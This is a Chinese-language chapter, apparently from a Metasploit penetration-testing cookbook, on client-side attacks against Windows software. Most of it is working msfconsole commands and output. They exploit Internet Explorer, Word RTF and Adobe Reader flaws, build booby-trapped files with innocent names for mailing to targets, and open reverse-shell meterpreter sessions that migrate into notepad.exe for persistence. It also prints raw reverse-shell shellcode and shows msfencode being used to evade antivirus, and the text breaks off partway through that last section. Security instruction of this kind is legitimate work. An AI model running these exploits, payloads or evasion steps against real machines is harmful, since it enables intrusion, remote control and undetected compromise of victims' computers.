当我们讨论基于客户端的攻击的配方时，前面两个步骤将对你来说是清晰的。本章将专注于基于 Windows 操作系统的一些关键应用软件。我们将从分析基于浏览器的客户端攻击开始。我们将研究 Internet Explorer（版本 6、7 和 8）中的各种现有漏洞，以及如何针对它来渗透用户机器。然后，我们将转向另一个名为 Microsoft Office（版本 2003 和 2007）的流行软件包，并分析其格式漏洞。然后，我们将继续分析 PDF 漏洞，以及如何使用恶意 PDF 来破坏用户安全。最后，但并非最不重要的，我们将讨论渗透测试中非常重要的一个方面，即绕过防病毒软件。它将重点放在覆盖客户端防病毒保护，以在不引起警报的情况下利用目标机器。

本章将充分利用 Metasploit 框架的全部功能，让你会喜欢阅读和实施它。让我们继续本章的配方。

Internet Explorer 不安全的脚本配置漏洞

让我们从第一个基于浏览器的客户端攻击开始。使用任何客户端攻击模块的基本过程与我们在之前章节中讨论的类似。唯一的区别在于将利用传输到目标机器。与基于操作系统的利用不同，客户端利用需要手动执行利用和有效载荷。一旦我们进行配方，你将清楚地理解它。所以让我们快速地开始实施攻击。

做好准备

我们将开始启动我们的 msfconsole 并选择相关的利用。这个过程与我们在之前章节中讨论的类似。然后，我们将继续选择一个有效载荷，它将帮助我们与目标机器建立 shell 连接。在这个配方中，我们将处理的利用是exploit/windows/browser/i.e. unsafe scripting。

注意

这个利用已知影响 Internet Explorer 6 和 7 版本，它们是 Windows XP 和 2003 服务器所有版本的默认浏览器。但它甚至成功运行在我的 Windows 7 ultimate 上，使用的是 Internet Explorer 8（未打补丁）。

做好准备

其他版本的 Internet Explorer 也可以进行类似的设置。在这个配方中，我们将利用两个不同的目标。一个运行 Windows XP SP2，IE 7，另一个运行 Windows 7，IE 8。现在让我们继续执行利用。

操作步骤...

让我们开始启动 msfconsole 并将我们的相应利用设置为活动状态。一旦被利用，我们将使用reverse_tcp有效载荷与这两个目标建立 shell 连接：

msf > use exploit/windows/browser/ie_unsafe_scripting
msf exploit(ie_unsafe_scripting) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_unsafe_scripting) > show options
Module options (exploit/windows/browser/ie_unsafe_scripting):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to..
SRVPORT 8080 yes The local port to..
SSL false no Negotiate SSL..
SSLCert no Path to a custom SSL..
SSLVersion SSL3 no Specify the version..
URIPATH no The URI to use for..
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ie_unsafe_scripting) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

现在我们的利用程序和有效载荷已经被设置为活动状态。正如你所看到的，我们在这里没有使用 RHOST 选项，因为这是一个基于客户端的攻击。让我们看看当我们执行exploit命令时会发生什么：

msf exploit(ie_unsafe_scripting) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.56.101:4444
[*] Using URL: http://0.0.0.0:8080/2IGIaOJQB
[*] Local IP: http://192.168.56.101:8080/2IGIaOJQB
[*] Server started.

正如我们所看到的，exploit命令的结果生成了一个链接。这是我们将不得不发送给我们的目标的恶意链接（http://192.168.56.101:8080/2IGIaoJQB），以便它可以利用他们的浏览器。最后一行还说“服务器已启动”，实际上是在端口 4444 上监听来自目标机器的连接。让我们首先分析链接在 Windows XP 目标机器上的执行结果。

浏览器将尝试加载页面，但最终不会显示任何内容。相反，浏览器要么会挂起，要么会保持空闲状态。但你会注意到你的 msfconsole 上有一些活动。这个活动将类似于以下命令行中显示的活动：

msf exploit(ie_unsafe_scripting) > [*] Request received from 192.168.56.102:1080...
[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.102:1080...
[*] Exe will be uunqgEBHE.exe and must be manually removed from the %TEMP% directory on the target.
Sending stage (752128 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.102:1081) at 2011-11-12 21:09:26 +0530

太棒了！我们与目标机器有一个活动会话。前面的命令行输出显示，在我们的目标的temp文件夹中创建了一个可执行文件，这个文件负责整个利用过程。

让我们现在分析这个恶意链接在运行 IE 8 的 Windows 7 机器上的执行结果。

我们将注意到 Internet Explorer 会提示一个警报消息。点击允许后，外部脚本将被执行，浏览器可能会崩溃或挂起（取决于系统）。

如何做...

让我们切换到攻击 msfconsole 并注意活动。我们将注意到以下命令行活动：

msf exploit(ie_unsafe_scripting) > [*] Request received from 192.168.56.1:51115...
[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.1:51115...
[*] Exe will be uddoE.exe and must be manually removed from the %TEMP% directory on the target.
[*] Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 opened (192.168.56.101:4444 -> 192.168.56.1:51116) at 2011-11-12 21:15:47 +0530

我们还有一个与 Windows 7 机器打开的活动会话。让我们开始与我们的会话互动：

msf exploit(ie_unsafe_scripting) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 DARKLORD-9CAD38\darklord
2 meterpreter x86/win32 HackingAlert-PC\hackingalert

正如你所看到的，sessions命令显示了我们可以使用的活动会话。一个是我们的 Win XP 机器，另一个是 Win7 机器。让我们继续与第二个会话互动，也就是 Windows 7 机器。

msf exploit(ie_unsafe_scripting) > sessions -i 1
meterpreter > shell
Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7264]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

它是如何工作的...

工作过程可能对你来说很清楚。让我们专注于这个利用的原因。当设置“未标记为脚本安全的 ActiveX 控件的初始化和脚本”时，它允许访问WScript.Shell ActiveX 控件。这个WScript.Shell对象提供了读取文件系统、环境变量、读取和修改注册表以及管理快捷方式的功能。WScript.Shell的这个特性允许攻击者创建一个 JavaScript 来与文件系统交互并运行命令。

还有更多...

让我们谈谈另一个可以在客户端攻击中使用的重要基于浏览器的利用。

Internet Explorer Aurora 内存损坏

这是另一个广泛使用的 IE 利用，于 2010 年中期曝光。这个漏洞是“极光行动”的关键组成部分，黑客们针对一些顶级公司。该模块利用了 IE 6 中的内存损坏漏洞。我将把这个模块留给你作为一个练习来尝试和探索。利用可以在exploit/windows/browser/ms10_002_aurora中找到。

Internet Explorer CSS 递归调用内存损坏

这是 Windows 平台上运行 IE 浏览器的最新利用之一。这个利用已知影响 Windows 7 和 Windows 2008 服务器，IE 8 作为默认浏览器。这个利用的工作过程与我们刚刚在上一个示例中讨论的工作过程类似。所以让我们快速测试一下。我们的目标机器是运行 IE 8（未打补丁）的 Windows 7 旗舰版。

准备就绪

我们将从启动 msfconsole 开始。在这个示例中，我们的利用是exploit/windows/browser/ms11_003_ie_css_import，我们的有效载荷将是windows/meterpreter/bind_tcp，这将帮助我们与目标机器建立 shell 连接。

如何做...

我们将以迄今为止的相同方式开始。首先，我们将选择利用。然后，我们将选择有效载荷，并传递利用和有效载荷所需的各种参数值。让我们在我们的 msfconsole 中继续进行所有这些步骤。

msf > use exploit/windows/browser/ms11_003_ie_css_import
msf exploit(ms11_003_ie_css_import) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
smsf exploit(ms11_003_ie_css_import) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
msf exploit(ms11_003_ie_css_import) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.56.101:4444
[*] Using URL: http://0.0.0.0:8080/K9JqHoWjzyAPji
[*] Local IP: http://192.168.56.101:8080/K9JqHoWjzyAPji
[*] Server started.

正如我们所看到的，漏洞利用和有效载荷已经设置，并带有各种参数。执行exploit命令后，模块生成了一个本地链接http://192.168.56.101:8080/K9JqHoWjzyAPji。这是恶意链接，必须传输给目标，以便他在 IE 浏览器中执行。目标浏览器将完全冻结，并且将占用系统资源的大部分。目标将被迫关闭浏览器。让我们在 msfconsole 上监视活动：

[*] 192.168.56.1:52175 Received request for "/K9JqHoWjzyAPji/\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A"
[*] 192.168.56.1:52175 Sending
windows/browser/ms11_003_ie_css_import CSS
[*] Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.1:52176) at 2011-11-15 13:18:17 +0530
[*] Session ID 1 (192.168.56.101:4444 -> 192.168.56.1:52176) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (5164)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5220
[+] Successfully migrated to process

在目标浏览器成功执行漏洞利用后，我们在 msfconsole 中启动了一个会话，从而打开了 shell 连接。但在 msf 和目标之间建立会话后，还会发生更多的事情。InitialAutoRunScript执行了一个migrate -f命令，将有效载荷从iexplore.exe迁移到notepad.exe。这一步对于持久连接是必不可少的。即使目标用户关闭了浏览器，连接仍然会保持活动，因为我们已经迁移到另一个进程。

工作原理...

让我们挖掘一下这个漏洞，以获取更多信息。嗯，漏洞的原因正是它的名字所说的。当微软的 HTML 引擎（mshtml）解析递归多次导入相同的 CSS 文件的 HTML 页面时，就会导致内存损坏并允许任意代码执行。考虑以下 HTML 代码片段。

// html file
<link href="css.css" rel="stylesheet" type="text/css" />
// css file
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

同一个 CSS 文件被调用了四次。当 mshtml 解析这个 HTML 页面时，就会导致内存损坏。这个漏洞利用利用了堆喷射和.NET 2.0 mscorie.dll模块的组合来绕过 DEP 和 ASLR。由于系统资源的过度消耗，最终会崩溃。使用这个漏洞，攻击者获得与已登录用户相同的用户权限。

工作原理...

在前面的屏幕截图中，您可以看到背景是 IE 实例，其中执行了恶意链接，前景图像是 Windows 任务管理器，您可以清楚地看到 IE 浏览器过度消耗内存。在任务管理器中还有一件有趣的事情要注意，那就是 notepad.exe 进程。尽管没有运行 notepad 的实例，但任务管理器仍然显示这个进程。这样做的明显原因是我们已经从 iexplorer.exe 迁移到 notepad.exe，所以这个进程在后台运行。

还有更多...

在使用这个漏洞利用模块时，我们可能会遇到一个常见的错误。让我们快速看一下，并找出相关的解决方案。

缺少.NET CLR 2.0.50727

在使用这个漏洞利用模块时，您可能会遇到一个错误"目标机器没有.NET CLR 2.0.50727"。嗯，这个错误的原因不是因为缺少.NET。它的主要原因是因为 Internet Explorer 没有设置为默认浏览器，因此用户代理被滥用以从非 ASLR 区域获取地址。通过将 Internet Explorer 设置为默认的 Web 浏览器，可以克服这个错误。

Microsoft Word RTF 堆栈缓冲区溢出

在前两个教程中，我们完全专注于基于浏览器的漏洞利用。现在在这个教程中，我们将专注于另一个流行的 Windows 工具，称为 Microsoft Office。RTF 缓冲区溢出漏洞存在于 Office 软件包的 2010 和 2007 版本中。这个漏洞存在于 Microsoft Word RTF 解析器中的pfragments形状属性的处理中。让我们详细了解这个漏洞利用。我假设我们已经获得了关于我们的目标的信息，即他的系统上安装了 Office 软件包。

准备工作

我们将从启动 msfconsole 开始。我们将在这个教程中使用的漏洞可以在exploit/windows/fileformat/ms10_087_rtf_pfragments_bof中找到。我们将使用的有效载荷是windows/meterpreter/reverse_tcp，以与目标机器建立 shell 连接。

如何做...

工作过程将与我们在以前的食谱中看到的类似。我们将首先设置我们的利用。然后，我们将选择一个有效载荷，然后传递相关参数，以便成功执行利用。让我们执行这些步骤。

msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_087_rtf_pfragments_bof) > show options
Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic

利用包含一个FILENAME参数，其中包含有关要创建的恶意文件名的信息。默认值为msf.rtf。让我们将其更改为一些不太可疑的名称。我们还将设置LHOST的值，这是攻击机的 IP 地址。

msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf
FILENAME => priceinfo.rtf
msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.56.101

文件名已更改为priceinfo.rtf，LHOST的值已设置为192.168.56.101。所以我们已经准备好执行利用模块了。

msf exploit(ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'priceinfo.rtf' file ...
[+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf

Metasploit 已经为我们创建了一个恶意文件，我们必须使用它来进行客户端攻击。该文件位于/root/.msf4/local/priceinfo.rtf。现在的下一步是将此文件发送给目标用户，可以通过邮件或其他媒介。一旦目标用户执行了这个恶意文件，我们会注意到它会以一个 Word 文档的形式打开。在执行几秒钟后，Microsoft Word 实例将挂起或崩溃，具体取决于系统。与此同时，恶意文件成功执行利用，并为目标提供了一个活动会话。为了使连接持久，利用将自己迁移到后台运行的其他进程。

Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 opened (192.168.56.101:4444 -> 192.168.56.1:57031) at 2011-11-13 23:16:20 +0530
[*] Session ID 2 (192.168.56.101:4444 -> 192.168.56.1:57031) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: WINWORD.EXE (5820)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5556
[+] Successfully migrated to process

命令行的前几行显示了成功执行利用，结果是与SESSION ID = 2的活动会话。命令行的最后部分显示，利用已成功从WINWORD.EXE迁移到notepad.exe。

工作原理...

利用模块简单地创建一个恶意的 Word 文件，向 Word 解析器传递非法值。解析器无法识别非法值导致缓冲区溢出。然后有效载荷开始执行代码，与攻击机建立反向连接。这种攻击的成功与机器有关，因为有时Windows ASLR（地址空间布局随机化）可能会阻止执行任意代码（有效载荷）。

还有更多...

Office 套件还有另一个流行的利用。我将把它作为一个实践的课程留给你。在这里，我将简要概述一下。

Microsoft Excel 2007 缓冲区溢出

这个已知的利用针对 Microsoft Excel 工具（.xlb）的 2007 版本。执行恶意的.xlb 文件可能导致基于堆栈的缓冲区溢出，并导致任意代码执行。利用可以在exploit/windows/fileformat/ms11_021_xlb_bof中找到。

Adobe Reader util.printf()缓冲区溢出

PDF 是用于共享文件和文档的最广泛使用的格式之一。因此，将其用作利用目标机器的潜在武器可能是一个有益的想法。Adobe Reader 是最流行的 PDF 文件阅读工具。我们将讨论的利用是存在于 Adobe Reader 8.1.3 版本之前的漏洞。利用的工作原理是创建一个恶意的 PDF 文件，当在 Adobe Reader 的易受攻击版本中打开时，会导致缓冲区溢出，并允许任意代码执行。

准备工作

利用过程与本章迄今讨论的利用非常相似。几乎所有客户端攻击都以类似的方式工作，我们首先生成一个恶意文件/链接，然后以某种方式要求目标用户在其机器上执行它。因此，客户端攻击也涉及社会工程。让我们继续进行这次利用。在这里，我们的目标机器是运行 Adobe Reader 8.1 的 Windows XP SP3。

我们将从启动我们的 msfconsole 开始，并使用模块exploit/windows/fileformat/adobe_utilprintf和有效载荷模块windows/meterpreter/reverse_tcp。

如何做...

我们将从选择漏洞利用并将其设置为活动开始。然后，我们将设置有效载荷。在选择漏洞利用和有效载荷之后，我们的下一步将是传递执行所需的各种参数值。所以，让我们继续在 msfconsole 上执行这些步骤。

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > show options
Module options (exploit/windows/fileformat/adobe_utilprintf):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)

如你所见，目标版本的 Adobe Reader 被列为 8.1.2，操作系统被标记为 Windows XP SP3。因此，这次漏洞利用的成功将在很大程度上取决于目标使用的 Adobe Reader 版本或操作系统。

漏洞利用模块包含一个带有默认值的参数FILENAME。这个参数决定了将要创建的恶意 PDF 文件的名称。让我们将其值更改为一些不太可疑的东西。同时，我们还必须在LHOST参数中传递本地机器的 IP 地址。

msf exploit(adobe_utilprintf) > set FILENAME progressreport.pdf
FILENAME => progressreprt.pdf
msf exploit(adobe_utilprintf) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

现在我们已经准备好执行漏洞利用命令并生成恶意 PDF 文件，这将用于我们的客户端攻击。

msf exploit(adobe_utilprintf) > exploit
[*] Creating 'progressreport.pdf' file...
[+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf

最后，一个名为progressreport.pdf的恶意 PDF 文件已经被创建并存储在/root/.msf4/local文件夹中。

这一次，我们将采用稍微不同的方法来启动反向连接的监听器。假设有一种情况，当你不得不突然关闭你的 msfconsole 时。那么漏洞利用怎么办？我们需要再次创建恶意 PDF 吗？答案是否定的。Metasploit 中有一个特殊的监听器模块，可以用来在 msfconsole 上启动监听器，这样你就可以使用为客户端攻击生成的相同文件/链接继续进行渗透测试过程。假设我们已经生成了恶意 PDF 文件，但尚未用于客户端攻击。所以让我们再次启动 msfconsole，并使用exploit/multi/handler模块设置反向连接的监听器。

msf > use exploit/multi/handler
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: she..
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

如你所见，我们已经设置了模块multi/handler，然后我们还为其添加了有效载荷。下一步是根据使用情况添加LHOST和LPORT。我们还有一个额外的选项，可以在 multi/handler 模块中运行额外的脚本。我们将在下一章中讨论它。最后一步是执行漏洞利用命令并启动监听器。

msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.56.101:4444

所以我们的反向处理程序已经启动并运行。现在它已经准备好在目标机器上恶意 PDF 被执行后接收连接。

一旦 PDF 在客户端机器上执行，它会完全冻结，Adobe Reader 会完全挂起，导致服务拒绝。这次崩溃的原因是由于恶意 PDF 文件引起的缓冲区溢出。在攻击者端，你会看到一个 meterpreter 会话已经启动，现在目标机器可以远程处理。

[*] Started reverse handler on 192.168.56.101:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.102:1035) at 2011-11-25 12:29:36 +0530
meterpreter > shell
Process 1880 created.
Channel 1 created.
Microsoft Windows XP SP3
(C) Copyright 1985-2001 Microsoft Corp.
E:\>

它是如何工作的...

这个问题是在易受攻击的 Adobe Reader 版本中实现 JavaScript util.printf()函数的方式中被发现的。该函数首先将其接收到的参数转换为字符串，只使用参数的前 16 位数字，并用固定值“0”（0x30）填充其余部分。通过向函数传递过长且格式正确的命令，可以覆盖程序的内存并控制其执行流程。Metasploit 模块创建了一个特别设计的 PDF 文件，嵌入了 JavaScript 代码来操纵程序的内存分配模式并触发漏洞。这可以让攻击者以运行 Adobe Reader 应用程序的用户权限执行任意代码。

考虑嵌入在 PDF 中的以下两行 JavaScript 代码：

var num = 1.2
util.printf("%5000f",num)

这两行简单的 JavaScript 代码会在堆栈上复制 5000 次字节 0x20。这允许你控制异常处理程序，并在尝试写入堆栈后面的部分时触发异常。

从 msfpayload 生成二进制和 shellcode

到目前为止，我们已经讨论了许多可以用于利用客户端攻击渗透目标机器的技术。所有这些技术都涉及利用运行在客户端机器上的各种应用软件中的漏洞。但是，可能存在一种情况，先前讨论的技术可能无法奏效。这些攻击使我们处于对应用软件的漏洞的控制之下，我们必须利用这些漏洞以获取访问权限。

Metasploit 为我们提供了另一个功能，我们可以执行客户端攻击，而不必担心利用目标机器上运行的应用软件。msfpayload就是解决方案。让我们简要介绍一下msfpayload，然后继续实际实施。

msfpayload是 Metasploit 的命令行实例，用于生成 Metasploit 存储库中可用的各种文件类型的 shellcode。可用的文件类型选项包括 C、Ruby、Raw、Exe、Dll、VBA 和 War。我们可以使用msfpayload将任何 Metasploit shellcode 转换为这些提到的文件格式之一。然后，它可以传输到目标机器上执行。一旦文件在目标机器上执行，我们将获得一个活动会话。这减少了利用目标机器上运行的应用软件中存在的任何漏洞的开销。msfpayload的另一个主要好处是，它可以用于生成特定编程语言（如 C、Ruby 等）的定制 shellcode，这些 shellcode 可以在您自己的利用开发代码中使用。

使用msfpayload的一个主要缺点是，当目标尝试执行它时，使用它生成的文件很容易被杀毒程序检测到。让我们继续前进，感受一下msfpayload可以为我们的渗透测试过程增添的力量。

准备工作

让我们开始尝试msfpayload。我们将从启动 BackTrack 终端开始。我们可以使用命令msfpayload -h来查看其用法的描述。

root@bt:~# msfpayload -h
Usage: /opt/framework3/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>

要查看可用的 shellcode 列表，我们可以使用msfpayload -l命令。您将发现我们可以使用的大量可用 shellcode 列表。

如何做...

让我们继续看看如何在 C 语言中生成特定定制的 shellcode。我们将使用windows/shell/reverse_tcp有效载荷来生成其 C 语言的 shellcode。我们将首先选择我们各自的有效载荷 shell 并传递各种参数值。

root@bt:~# msfpayload windows/shell/reverse_tcp o
Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse_tcp
Version: 10394, 11421
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port

注意命令行中的小o参数列出了 shellcode 有效载荷的各种参数选项。我们将不得不传递这些值，以生成我们自己使用的定制 shellcode。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 o

因此，我们已根据需要设置了LHOST和LPORT。下一步将是为我们定制的 shell 生成 C 代码（显示的输出已经被缩短以适应）。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 C
/*
* windows/shell/reverse_tcp - 290 bytes (stage 1)
* http://www.metasploit.com
* VERBOSE=false, LHOST=192.168.56.101, LPORT=4441,
* ReverseConnectRetries=5, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"

注意命令行中的大写C参数。您将注意到一个完整的 C 语言 shellcode，我们可以在自己的利用开发代码中使用。或者，我们也有选项可以生成 Ruby 和 Perl 语言的代码。

让我们继续进行下一步，生成一个用于客户端攻击的 shellcode 的二进制可执行文件。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X > .local/setup.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.56.101"}

注意我们在命令行中传递的各种参数。我们使用X参数生成了一个 exe 文件类型，并且该文件已经在名为.local的文件夹中生成，文件名为setup.exe。现在，这个生成的 exe 可以在我们的客户端攻击中使用。

工作原理...

现在我们的可执行文件已经准备好了，我们将不得不在 msfconsole 中设置一个监听器，以便在目标执行此 exe 文件时监听返回连接。

msf > use multi/handler
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.46.101
msf exploit(handler) > exploit
[-] Handler failed to bind to 192.168.46.101:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler

注意，我们使用了相同的 payload，并传递了与生成可执行文件时使用的相同的参数值。现在我们的监听器已经准备好接收反向连接。一旦目标用户（运行 Windows 7 之前的 Windows）执行了恶意的 exe 文件，我们就会获得 shell 连接。

使用 msfencode 绕过客户端防病毒软件保护

在上一个步骤中，我们专注于如何生成可执行的 shellcode，并将其用作客户端攻击的武器。但是，这样的可执行文件很容易被客户端防病毒软件检测到，可以阻止执行这样的恶意文件，并且还会引发警报。那么现在我们该怎么办呢？我们将不得不通过编码可执行文件来提高攻击向量的级别。

防病毒软件使用基于签名的技术，通过验证文件的前几行代码与其签名数据库来识别潜在威胁。如果找到匹配项，则将文件视为威胁。我们将不得不利用这种技术来绕过防病毒软件。msfencode是一种有效的工具，它对 shellcodes 进行编码，使它们对防病毒软件的检测能力降低。msfencode为我们提供了许多编码选项。

在开始这个步骤之前，有一件重要的事情要记住。这个步骤的成功取决于两个因素：使用的 shellcode 类型和目标机器上运行的防病毒软件类型。这个步骤涉及大量的实验，以检查使用哪种 shell 和可以用来绕过特定类型防病毒软件的编码类型。在这里，我们有两个目标。一个运行 Windows XP SP2，上面运行着 AVG 10（免费版本），另一个是运行 ESET NOD32（完整和更新版本）的 Windows 7 Ultimate 机器。首先，我们将讨论一种简单的技术，可以绕过旧的和未更新的防病毒软件，但可能会被最新版本的防病毒软件检测到。然后，我们将讨论另一种技术，目前可以绕过任何防病毒软件。

准备工作...

msfencode通常与msfpayload命令一起进行编码生成的 shellcode。这减少了我们的工作步骤。让我们先从msfencode开始。执行msfencode -h命令列出了我们可以使用的各种参数，msfencode -l列出了各种编码样式。让我们逐个看一下：

root@bt:~# msfencode -l
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

框架中有许多不同的编码器，每个编码器都使用不同的技术来混淆 shellcode。shikata_ga_nai编码技术实现了多态 XOR 加性反馈编码器。解码器存根是基于动态指令替换和动态块排序生成的。寄存器也是动态选择的。

如何做...

我将这个步骤分为三种不同的情况，以更好地理解我们如何深入挖掘这个有用的工具并发展我们自己的逻辑。

情况 1：我们将从对一个简单的 shell 进行编码开始。msfpayload和msfencode命令将被一起进行管道处理。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e cmd/generic_sh -c 2 -t exe > .local/encoded.exe
[*] cmd/generic_sh succeeded with size 290 (iteration=1)
[*] cmd/generic_sh succeeded with size 290 (iteration=2)

